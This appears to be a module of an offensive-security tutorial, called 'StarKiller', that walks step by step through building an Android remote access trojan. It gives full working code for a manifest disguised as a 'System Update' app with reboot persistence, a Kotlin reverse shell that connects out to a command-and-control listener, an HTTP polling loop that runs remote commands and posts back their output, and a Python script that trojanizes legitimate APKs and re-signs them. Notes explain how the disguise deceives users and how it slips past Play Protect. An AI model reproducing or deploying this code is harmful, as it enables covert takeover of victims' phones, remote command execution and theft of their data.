Declaring Your Presence — The Permission Gate
The AndroidManifest.xml is the app's declaration of intent. Every capability the app uses must be listed here or Android denies it at runtime. Get the permissions wrong and the RAT either crashes on first connection or dies when the screen locks.
// NOMENCLATURE — ANDROID MANIFEST + XML
xmlns:android | XML namespace declaration. Required on the root element. Binds the android: prefix to the Android namespace URI. Without it, all android:name etc. attributes are unresolved. |
package | The application's unique identifier on the device. Reverse-domain format by convention. com.system.update disguises as a system process — identical naming to a real OEM update agent. |
uses-permission | Declares a required Android permission. INTERNET is "normal" — granted automatically at install, no user prompt. FOREGROUND_SERVICE is "normal" since Android 9. RECEIVE_BOOT_COMPLETED allows registering for the boot broadcast. |
<service> | Declares a background Service component. android:exported="false" prevents other apps from binding to it. foregroundServiceType="dataSync" required on Android 14+ — declares what the service does. |
<receiver> | Declares a BroadcastReceiver. android:exported="true" required for receivers that listen to system broadcasts. The intent-filter tells Android which broadcasts to deliver to this receiver. |
BOOT_COMPLETED | System broadcast fired after Android finishes booting. BootReceiver catches it and starts C2Service. Persistence mechanism: RAT auto-activates on every reboot without any user interaction. |
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.system.update"> <!-- disguise as OEM update process -->
<uses-permission android:name="android.permission.INTERNET"/> <!-- auto-granted: C2 comms -->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> <!-- survive backgrounding -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <!-- reboot persistence -->
<application
android:label="System Update" <!-- visible name in app list -->
android:icon="@mipmap/ic_launcher">
<service
android:name=".C2Service"
android:exported="false" <!-- private: only this app can start it -->
android:foregroundServiceType="dataSync"/> <!-- Android 14+ required type -->
<receiver
android:name=".BootReceiver"
android:exported="true"> <!-- must be true to receive system broadcasts -->
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
</application>
</manifest>
Write the full AndroidManifest.xml. package="com.system.update", three permissions (INTERNET, FOREGROUND_SERVICE, RECEIVE_BOOT_COMPLETED), application with C2Service (exported=false, foregroundServiceType=dataSync) and BootReceiver with BOOT_COMPLETED intent filter.
// WHY THIS WORKS
com.system.update as the package name is a social engineering choice — it matches the naming convention of OEM system update agents, making it invisible to a non-technical user scanning their app list. Combined with "System Update" as the label and the generic ic_launcher icon, it's visually indistinguishable from a real system package.
Same Radio Net, Different Radio — TCP Shell on Android
The same principle as the PowerShell TCP shell: connect out, read commands from the stream, execute them, write output back. Kotlin's Socket is a wrapper around the same BSD socket API. The execution environment changes — Android runs shell commands via Runtime.getRuntime().exec().
// NOMENCLATURE — KOTLIN SOCKETS + THREADING
Thread { }.start() | Creates and immediately starts a background OS thread. The lambda inside is the thread body. All network I/O must run off the main thread — Android kills apps that block the UI thread for 5+ seconds (ANR: Application Not Responding). |
java.net.Socket(ip, port) | Connects to a remote TCP server. On Android you use the full java.net package — Kotlin doesn't have its own socket library. This is the client side: it initiates the outbound connection to your listener. |
bufferedReader() | Wraps an InputStream in a BufferedReader for line-by-line reading. readLine() blocks until a complete line arrives or the stream closes. The ?: break handles the null-on-close case. |
Runtime.getRuntime().exec() | Forks a child process. arrayOf("sh", "-c", cmd) passes the command to the shell interpreter, enabling pipes, redirects, and shell builtins. Without sh -c, you'd need to split the command manually. |
proc.inputStream | The child process's stdout. Similarly errorStream is its stderr. Android commands often write to stderr — you need both to get complete output, equivalent to 2>&1 in shell. |
.ifEmpty { "(no output)\n" } | Returns the fallback string if the receiver is empty. Prevents sending an empty packet back to the operator when a command produces no output — maintains the framing protocol. |
fun connectShell(ip: String, port: Int) {
Thread { // background thread — must not block main
try {
val socket = java.net.Socket(ip, port) // outbound TCP connect to C2 listener
val reader = socket.getInputStream().bufferedReader() // read commands line by line
val writer = socket.getOutputStream().bufferedWriter() // write output back
writer.write("OK\n"); writer.flush() // beacon: "I'm here, ready"
while (true) {
val cmd = reader.readLine() ?: break // null = stream closed, exit loop
val proc = Runtime.getRuntime().exec(arrayOf("sh", "-c", cmd)) // sh -c: full shell
val output = proc.inputStream.bufferedReader().readText() // stdout
val err = proc.errorStream.bufferedReader().readText() // stderr (many cmds use it)
writer.write((output + err).ifEmpty { "(no output)\n" }) // merge, send
writer.write("\n"); writer.flush() // frame delimiter
}
socket.close()
} catch (e: Exception) {
android.util.Log.e("C2", e.message ?: "error") // silent crash log only
}
}.start()
}
Write connectShell(). Thread wrapper, Socket connect, bufferedReader/Writer, "OK\n" beacon, while loop reading commands, Runtime.exec with sh -c, merge stdout+stderr, write back with flush, null-break on closed stream.
// WHY THIS WORKS
arrayOf("sh", "-c", cmd) delegates to the shell interpreter. Without it, exec() treats the first element as the binary name and subsequent elements as literal argv — pipes and redirects don't work. Android uses Toybox/Busybox for its shell, so sh -c enables standard shell semantics even on minimal environments.
Dead Drop — Polling for Orders Instead of Staying on the Line
Carrier networks aggressively kill idle TCP connections after minutes. The HTTP poll loop is the counter: instead of a persistent connection, the RAT wakes every 5 seconds, checks the dead drop (GET /cmd), executes whatever it finds, posts the result (POST /result), and goes back to sleep.
// NOMENCLATURE — HTTP + POLL PATTERN
HttpURLConnection | Android's built-in HTTP client from the java.net package. Requires INTERNET permission. Opened via url.openConnection() as java.net.HttpURLConnection — the cast is required because openConnection() returns URLConnection. |
connectTimeout | Milliseconds before the connection attempt gives up. Without this, a dead C2 server hangs the thread indefinitely. 5000ms = 5 seconds max wait. Always set this on any network call in a loop. |
conn.disconnect() | Explicitly closes the connection and releases the underlying socket. Without this, connections may be kept open by the connection pool, leaking sockets over time. |
cmd != "WAIT" | The sentinel protocol. Server returns "WAIT" when no command is queued. Distinguishes "no orders" from "server error". Empty string means network/parse error; "WAIT" means connected and idle. Avoids executing an empty string as a shell command. |
pc.doOutput = true | Enables writing a request body for POST. Must be set before writing to pc.outputStream. Without it, writing to outputStream throws an exception. |
Thread.sleep(5000) | Pauses the current thread for 5000ms. Runs at the end of each poll cycle regardless of success or failure — even a failed request should back off before retrying. Static delay is simpler than exponential backoff for a RAT. |
| empty catch block | catch (e: Exception) { } — swallows all exceptions silently. Network errors, server down, connection refused — none of these should crash the RAT. Sleep then retry is the entire error handling strategy. |
fun pollC2(c2Url: String, deviceId: String) {
Thread {
while (true) {
try {
val url = java.net.URL("$c2Url/cmd?id=$deviceId") // dead drop URL with device routing
val conn = url.openConnection() as java.net.HttpURLConnection
conn.requestMethod = "GET"
conn.connectTimeout = 5000 // 5s max wait — dead server won't hang us
val cmd = conn.inputStream.bufferedReader().readText().trim()
conn.disconnect() // release socket explicitly
if (cmd.isNotEmpty() && cmd != "WAIT") { // WAIT = no orders; empty = error
val proc = Runtime.getRuntime().exec(arrayOf("sh","-c",cmd))
val out = proc.inputStream.bufferedReader().readText()
val post = java.net.URL("$c2Url/result?id=$deviceId")
val pc = post.openConnection() as java.net.HttpURLConnection
pc.requestMethod = "POST"
pc.doOutput = true // enable request body for POST
pc.outputStream.write(out.toByteArray())
pc.disconnect()
}
} catch (e: Exception) { } // swallow all errors — sleep and retry
Thread.sleep(5000) // 5s poll interval regardless of outcome
}
}.start()
}
Write pollC2(). Thread wrapper, infinite loop, GET from /cmd?id=..., 5000ms timeout, disconnect, check cmd not empty and not WAIT, exec with sh -c, POST output to /result?id=..., empty catch, sleep 5000 at end.
// WHY THIS WORKS
HTTP is resilient because it has no connection state to maintain. Every request is independent — carrier NAT timeouts, VPN reconnects, and cell handoffs are all invisible to the polling loop. The RAT just misses a beat and resumes on the next 5-second tick. A persistent TCP shell would need reconnect logic. The poll loop has no connection to lose.
Trojanizing — Your Code Inside Their App
Decompile a legitimate APK, inject the RAT's smali classes, merge the permissions, recompile, re-sign. The output APK looks and behaves exactly like the original. The RAT runs silently in the same process.
// NOMENCLATURE — APK STRUCTURE + TOOLS
apktool d | Decompile APK to smali (Android assembly) and resources. --no-res skips resource decompilation — resources aren't needed and recompiling them causes errors. -f force-overwrites if output dir exists. |
| smali | Android's assembly language. Dalvik/ART bytecode represented as text. Each class becomes a .smali file. com/system/update/C2Service.smali is your RAT service — copying this file makes the compiled APK include your class. |
shutil.copytree | Recursively copies a directory tree. Copies all of the RAT's smali classes into the legitimate app's source tree. After this, apktool b compiles both the original and your injected classes together. |
xml.etree.ElementTree | Python's stdlib XML parser. ET.parse() parses XML to a tree. .getroot().findall('uses-permission') finds all permission elements. t_root.insert(0, perm) injects them at the top of the target manifest. |
apktool b | Recompile smali back to APK. --use-aapt2 uses the modern asset packager — required for apps targeting Android 10+. Output is unsigned. |
apksigner sign | Signs the APK with a keystore. Android requires a valid signature to install — the OS won't install unsigned APKs. The debug keystore ships with the Android SDK. Any valid signature works; only Play Store checks for the original developer key. |
check=True | subprocess.run parameter: raises CalledProcessError if the command exits non-zero. Without it, apktool failures are silently ignored and you'd produce a corrupt APK with no error. |
import subprocess, shutil, os
def bind_apk(legit_apk, payload_apk, output_apk):
subprocess.run(["apktool", "d", legit_apk, "-o", "legit_src",
"--no-res", "-f"], check=True) # decompile legit app (skip resources)
subprocess.run(["apktool", "d", payload_apk, "-o", "payload_src",
"--no-res", "-f"], check=True) # decompile RAT APK
smali_src = "payload_src/smali/com/system/update" # RAT's smali directory
smali_dst = "legit_src/smali/com/system/update" # inject into legit source tree
shutil.copytree(smali_src, smali_dst) # copy entire class tree
inject_manifest_permissions(
"legit_src/AndroidManifest.xml", # add RAT permissions to legit manifest
"payload_src/AndroidManifest.xml"
)
subprocess.run(["apktool", "b", "legit_src", "-o", "bound_unsigned.apk",
"--use-aapt2"], check=True) # recompile: original + injected classes
subprocess.run(["apksigner", "sign",
"--ks", "debug.keystore",
"--ks-pass", "pass:android",
"--out", output_apk,
"bound_unsigned.apk"], check=True) # sign — any valid keystore works
print(f"[+] Bound APK: {output_apk}")
def inject_manifest_permissions(target_manifest, payload_manifest):
from xml.etree import ElementTree as ET
target = ET.parse(target_manifest)
payload = ET.parse(payload_manifest)
t_root = target.getroot()
for perm in payload.getroot().findall('uses-permission'): # copy each permission element
t_root.insert(0, perm) # insert at top of manifest
target.write(target_manifest, xml_declaration=True, encoding='utf-8')
Write bind_apk() (apktool d both APKs, copytree smali, inject_manifest_permissions, apktool b, apksigner sign, print output) and inject_manifest_permissions() (parse both XMLs, copy uses-permission elements into target, write back).
// WHY THIS WORKS
Google Play Protect detects re-signed known APKs via certificate pinning on popular apps. The binder targets sideloaded delivery — the user installs via APK file, not Play Store. Without the application class hook (modifying the legit app's Application.onCreate to start C2Service), the injected code never runs — the smali classes are compiled in but nothing calls them. The full StarKiller binder patches the Application class to call service start from onCreate.
// STARKILLER — COMPLETE
Android manifest. Kotlin TCP shell. HTTP C2 poll loop. APK binder.
Android RAT from declaration to delivery.